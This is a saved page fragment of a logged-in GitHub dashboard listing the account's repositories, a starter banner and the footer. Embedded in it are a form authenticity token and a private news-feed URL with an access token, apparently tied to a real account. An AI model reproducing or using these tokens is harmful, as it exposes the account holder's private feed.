viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> New </a> </h2> <div class="mt-2 mb-3" role="search" aria-label="Repositories"> <input type="text" class="form-control input-contrast input-block mb-3 js-filterable-field js-your-repositories-search" id="dashboard-repos-filter-left" placeholder="Find a repository…" aria-label="Find a repository…" data-url="/" data-query-name="q" value="" autocomplete="off"> </div> <ul class="list-style-none" data-filterable-for="dashboard-repos-filter-left" data-filterable-type="substring"> <li class="private source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/sumvip" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361792290,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="3d884f457d0af2613e33ebf290824eeee38a2e5ae64f76821d5f549c3bf1d827" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:private fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/sumvip/hovercard"> <div class="color-text-tertiary mr-2"> <svg class="octicon octicon-lock repo-private-icon flex-shrink-0" aria-label="Repository" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M4 4v2h-.25A1.75 1.75 0 002 7.75v5.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-5.5A1.75 1.75 0 0012.25 6H12V4a4 4 0 10-8 0zm6.5 2V4a2.5 2.5 0 00-5 0v2h5zM12 7.5h.25a.25.25 0 01.25.25v5.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-5.5a.25.25 0 01.25-.25H12z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="sumvip">sumvip</span> </a> </div> </li> <li class="public source no-description"> <div class="width-full text-bold"> <a href="/NhaPhatHanh/sumvip.club" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361782773,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="849667ca9bc191f13352a27f1a9589b81b3f666f2de9d5d2abffb7f540b04524" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/sumvip.club/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="sumvip.club">sumvip.club</span> </a> </div> </li> <li class="public source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/88vin.link" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361774252,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="0c2927cd368417c1f71936d5894d97c11ad6ad6ba13aad8bb18cb0ae786df73f" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/88vin.link/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="88vin.link">88vin.link</span> </a> </div> </li> <li class="public source no-description"> <div class="width-full text-bold"> <a href="/NhaPhatHanh/github-docs" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":362337089,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="0aa510bbf6362778733e1189b98877ea5eaed33d40c226753ae619d7d44a1f0b" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/github-docs/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="github-docs">github-docs</span> </a> </div> </li> <li class="public source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/NhaPhatHanh" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":362176831,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="faf207959d3f49dc5283bee49d28f8b67362a5a4d7f6de8f592c4797b96b04d9" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/NhaPhatHanh/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="NhaPhatHanh">NhaPhatHanh</span> </a> </div> </li> </ul> </div> </div> <div class="js-repos-container user-repos mb-3" id="dashboard-user-teams" data-pjax-container> <div class="Details js-repos-container" data-team-hovercards-enabled> <h2 class="hide-sm hide-md f5 mb-1 border-top color-border-secondary pt-3">Your teams</h2> <p class="notice"> You don’t belong to any teams yet! </p> </div> </div> </div> </aside> <div class="col-12 col-md-8 col-lg-6 mt-3 px-3 px-lg-5 border-bottom d-flex flex-auto"> <div class="mx-auto d-flex flex-auto flex-column" style="max-width: 1400px"> <main class="flex-auto"> <div class="border rounded-1 shelf intro-shelf js-notice"> <div class="width-full container"> <div class="width-full mx-auto p-5 shelf-content"> <h2 class="shelf-title">Learn Git and GitHub without any code!</h2> <p class="shelf-lead"> Using the Hello World guide, you’ll create a repository, start a branch, write comments, and open a pull request. </p> <a class="btn btn-primary shelf-cta mx-2 mb-3" target="_blank" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"NEW_USER_BANNER","dashboard_context":"user","dashboard_version":2,"target":"READ_GUIDE","user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="065b53dff8bb900c054c67deccb1d8e25644d77c04a9235dfb06aae8f0845b35" data-ga-click="Hello World, click, Clicked Let's get started button" href="https://guides.github.com/activities/hello-world/">Read the guide</a> <a class="btn shelf-cta mx-2 mb-3" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"NEW_USER_BANNER","dashboard_context":"user","dashboard_version":2,"target":"START_PROJECT","user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="e462943bb31bd3003c3636fdf2bd5d45ab45893d5d6e0e806ec4407a59fe0134" data-ga-click="Hello World, click, Clicked new repository button - context:user" href="/new">Start a project</a> </div> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="shelf-dismiss js-notice-dismiss" action="/dashboard/dismiss_bootcamp" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="delete" /><input type="hidden" name="authenticity_token" value="6CEBLJmBkvqLVwFWOHZm+HjVZVyJJeRKsnJpyHd3MuLzYZKDs9LaEeGErnWlxSpK46d2HozAfEX09hbhXIBjOg==" /> <button name="button" type="submit" class="mr-1 close-button tooltipped tooltipped-w" aria-label="Hide this notice forever" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"NEW_USER_BANNER","dashboard_context":"user","dashboard_version":2,"target":"DISMISS_BANNER","user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="02ff51f0c07535492d3dc33173db83c1ec1293c047f42e1f920c5285055a6db3" data-ga-click="Hello World, click, Dismissed Hello World" data-ga-load="Hello World, linkview, Viewed Hello World"> <svg aria-label="Hide this notice forever" class="octicon octicon-x v-align-text-top" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button></form> </div> </div> <div data-issue-and-pr-hovercards-enabled> <div id="dashboard" class="dashboard"> <h1 class="sr-only">Dashboard</h1> <div class="news"> <div class="js-dashboard-deferred" data-src="/dashboard/recent-activity" data-priority="1" > <div class="Box text-center p-3 mb-4 d-none js-loader"> <div class="loading-message"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" viewBox="0 0 16 16" fill="none" width="32" height="32" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> <p class="color-text-secondary my-2 mb-0">Loading recent activity...</p> </div> </div> </div> <div class="d-block d-md-none"> <div class="mt-2 mb-4 Details js-repos-container" id="dashboard-repositories-box" data-pjax-container role="navigation"> <h2 class="f4 mb-1 text-normal d-flex flex-justify-between flex-items-center">Repositories</h2> <div class="Box px-2 py-1"> <div class="js-repos-container" id="repos-container" data-pjax-container> <h2 class="f4 hide-sm hide-md mb-1 f5 d-flex flex-justify-between flex-items-center"> Repositories <a class="btn btn-sm btn-primary color-text-white" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"NEW_REPOSITORY_BUTTON","dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="269f96c8b7925798dca252ba25ee3a5820270ba3fdf7d20d20e789a0179be9aa" data-ga-click="Dashboard, click, Sidebar header new repo button - context:user" href="/new"> <svg class="octicon octicon-repo" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> New </a> </h2> <div class="mt-2 mb-3" role="search" aria-label="Repositories"> <input type="text" class="form-control input-contrast input-block mb-3 js-filterable-field js-your-repositories-search" id="dashboard-repos-filter-center" placeholder="Find a repository…" aria-label="Find a repository…" data-url="/" data-query-name="q" value="" autocomplete="off"> </div> <ul class="list-style-none" data-filterable-for="dashboard-repos-filter-center" data-filterable-type="substring"> <li class="private source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/sumvip" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361792290,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="3d884f457d0af2613e33ebf290824eeee38a2e5ae64f76821d5f549c3bf1d827" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:private fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/sumvip/hovercard"> <div class="color-text-tertiary mr-2"> <svg class="octicon octicon-lock repo-private-icon flex-shrink-0" aria-label="Repository" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M4 4v2h-.25A1.75 1.75 0 002 7.75v5.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-5.5A1.75 1.75 0 0012.25 6H12V4a4 4 0 10-8 0zm6.5 2V4a2.5 2.5 0 00-5 0v2h5zM12 7.5h.25a.25.25 0 01.25.25v5.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-5.5a.25.25 0 01.25-.25H12z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="sumvip">sumvip</span> </a> </div> </li> <li class="public source no-description"> <div class="width-full text-bold"> <a href="/NhaPhatHanh/sumvip.club" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361782773,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="849667ca9bc191f13352a27f1a9589b81b3f666f2de9d5d2abffb7f540b04524" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/sumvip.club/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="sumvip.club">sumvip.club</span> </a> </div> </li> <li class="public source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/88vin.link" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361774252,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="0c2927cd368417c1f71936d5894d97c11ad6ad6ba13aad8bb18cb0ae786df73f" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/88vin.link/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="88vin.link">88vin.link</span> </a> </div> </li> <li class="public source no-description"> <div class="width-full text-bold"> <a href="/NhaPhatHanh/github-docs" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":362337089,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="0aa510bbf6362778733e1189b98877ea5eaed33d40c226753ae619d7d44a1f0b" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/github-docs/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="github-docs">github-docs</span> </a> </div> </li> <li class="public source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/NhaPhatHanh" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":362176831,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="faf207959d3f49dc5283bee49d28f8b67362a5a4d7f6de8f592c4797b96b04d9" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/NhaPhatHanh/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="NhaPhatHanh">NhaPhatHanh</span> </a> </div> </li> </ul> </div> </div> </div> <div class="mb-4 js-repos-container user-repos" id="dashboard-user-teams-repos" data-pjax-container> <h2 class="f4 text-normal mb-1">Your teams</h2> <div class="Box px-2 py-1"> <div class="Details js-repos-container" data-team-hovercards-enabled> <h2 class="hide-sm hide-md f5 mb-1 border-top color-border-secondary pt-3">Your teams</h2> <p class="notice"> You don’t belong to any teams yet! </p> </div> </div> </div> </div> <h2 class="f4 text-normal d-none js-all-activity-header">All activity</h2> <div class="js-dashboard-deferred" data-src="/dashboard-feed" data-priority="0"> <div class="Box text-center p-3 mb-4 mt-2 js-loader"> <div class="loading-message"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" viewBox="0 0 16 16" fill="none" width="32" height="32" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> <p class="color-text-secondary my-2 mb-0">Loading activity...</p> </div> <div class="error-message"> <p class="color-text-secondary my-2 mb-2">There was an error in loading the activity feed. <a href="/" aria-label="Reload this page">Reload this page</a>.</p> </div> </div> </div> <div class="f6 color-text-secondary mt-4"> <svg class="octicon octicon-light-bulb color-text-secondary" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1.5c-2.363 0-4 1.69-4 3.75 0 .984.424 1.625.984 2.304l.214.253c.223.264.47.556.673.848.284.411.537.896.621 1.49a.75.75 0 01-1.484.211c-.04-.282-.163-.547-.37-.847a8.695 8.695 0 00-.542-.68c-.084-.1-.173-.205-.268-.32C3.201 7.75 2.5 6.766 2.5 5.25 2.5 2.31 4.863 0 8 0s5.5 2.31 5.5 5.25c0 1.516-.701 2.5-1.328 3.259-.095.115-.184.22-.268.319-.207.245-.383.453-.541.681-.208.3-.33.565-.37.847a.75.75 0 01-1.485-.212c.084-.593.337-1.078.621-1.489.203-.292.45-.584.673-.848.075-.088.147-.173.213-.253.561-.679.985-1.32.985-2.304 0-2.06-1.637-3.75-4-3.75zM6 15.25a.75.75 0 01.75-.75h2.5a.75.75 0 010 1.5h-2.5a.75.75 0 01-.75-.75zM5.75 12a.75.75 0 000 1.5h4.5a.75.75 0 000-1.5h-4.5z"></path></svg> <strong>ProTip!</strong> The feed shows you events from people you <a href="/NhaPhatHanh?tab=following">follow</a> and repositories you <a href="/watching">watch</a>. <br> <a class="f6 Link--secondary mb-2 mt-2 d-inline-block" href="/NhaPhatHanh.private.atom?token=AT27FMIJVILZOGSH5R3CXU56ST7X4" data-ga-click="Dashboard, click, News feed atom/RSSlink- context:user"><svg class="octicon octicon-rss mr-1" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M2.002 2.725a.75.75 0 01.797-.699C8.79 2.42 13.58 7.21 13.974 13.201a.75.75 0 11-1.497.098 10.502 10.502 0 00-9.776-9.776.75.75 0 01-.7-.798zM2 13a1 1 0 112 0 1 1 0 01-2 0zm.84-5.95a.75.75 0 00-.179 1.489c2.509.3 4.5 2.291 4.8 4.8a.75.75 0 101.49-.178A7.003 7.003 0 002.838 7.05z"></path></svg>Subscribe to your news feed</a> </div> </div> </div> </div> </main> <div class="d-flex flex-items-between footer container-lg my-5 px-0" role="contentinfo"> <div class="col-lg-4 list-style-none mr-lg-5"> <a title="Home page" class="d-none d-lg-flex footer-octicon footer-octicon no-underline" href="https://github.com"> <div> <svg height="24" class="octicon octicon-mark-github d-block mr-2 float-left" viewBox="0 0 16 16" version="1.1" width="24" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> </div> <div> <span class="f6 color-text-tertiary"> © 2021 GitHub, Inc. </span> </div> </a> </div> <div class="d-flex flex-justify-start flex-row flex-auto"> <ul class="col-4 col-sm-4 col-lg-4 col-xl-3 list-style-none f6 color-text-secondary pl-lg-4"> <li class="mb-1"><a class="Link--secondary" href="https://github.blog" data-ga-click="Footer, go to blog, text:blog">Blog</a></li> <li class="mb-1"><a class="Link--secondary" data-ga-click="Footer, go to about, text:about" href="https://github.com/about">About</a></li> <li class="mb-1"><a class="Link--secondary" href="https://shop.github.com" data-ga-click="Footer, go to shop, text:shop">Shop</a></li> <li class="mb-1"><a href="https://support.github.com" data-ga-click="Footer, go to contact, text:contact" class="Link--secondary">Contact GitHub</a></li> <li class="mb-1"><a href="/pricing" data-ga-click="Footer, go to Pricing, text:Pricing" class="Link--secondary">Pricing</a></li> </ul> <ul class="col-4 col-sm-4 col-lg-4 col-xl-3 list-style-none f6 color-text-secondary pl-lg-4"> <li class="mb-1"><a class="Link--secondary" href="https://docs.github.com" data-ga-click="Footer, go to api, text:api">API</a></li> <li class="mb-1"><a class="Link--secondary" href="https://services.github.com" data-ga-click="Footer, go to training, text:training">Training</a></li> <li class="mb-1"> <a class="Link--secondary" href="https://www.githubstatus.com/" data-ga-click="Footer, go to status, text:status">Status</a> </li> <li class="mb-1"> <a class="Link--secondary" href="https://docs.github.com/articles/github-security/" data-ga-click="Footer, go to security, text:security">Security</a> </li> </ul> <ul class="col-4 col-sm-4 col-lg-4 col-xl-3 list-style-none f6 color-text-secondary pl-lg-4"> <li class="mb-1"> <a class="Link--secondary" href="https://docs.github.com/en/github/site-policy/github-terms-of-service" data-ga-click="Footer, go to terms, text:terms">Terms</a> </li> <li class="mb-1"> <a class="Link--secondary" href="https://docs.github.com/en/github/site-policy/github-privacy-statement" data-ga-click="Footer, go to privacy, text:privacy">Privacy</a> </li> <li class="mb-1"> <a class="Link--secondary" data-ga-click="Footer, go to help, text:Docs" href="https://docs.github.com">Docs</a> </li> </ul> </div> </div> </div> </div> </div> </div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg class="octicon octicon-alert" 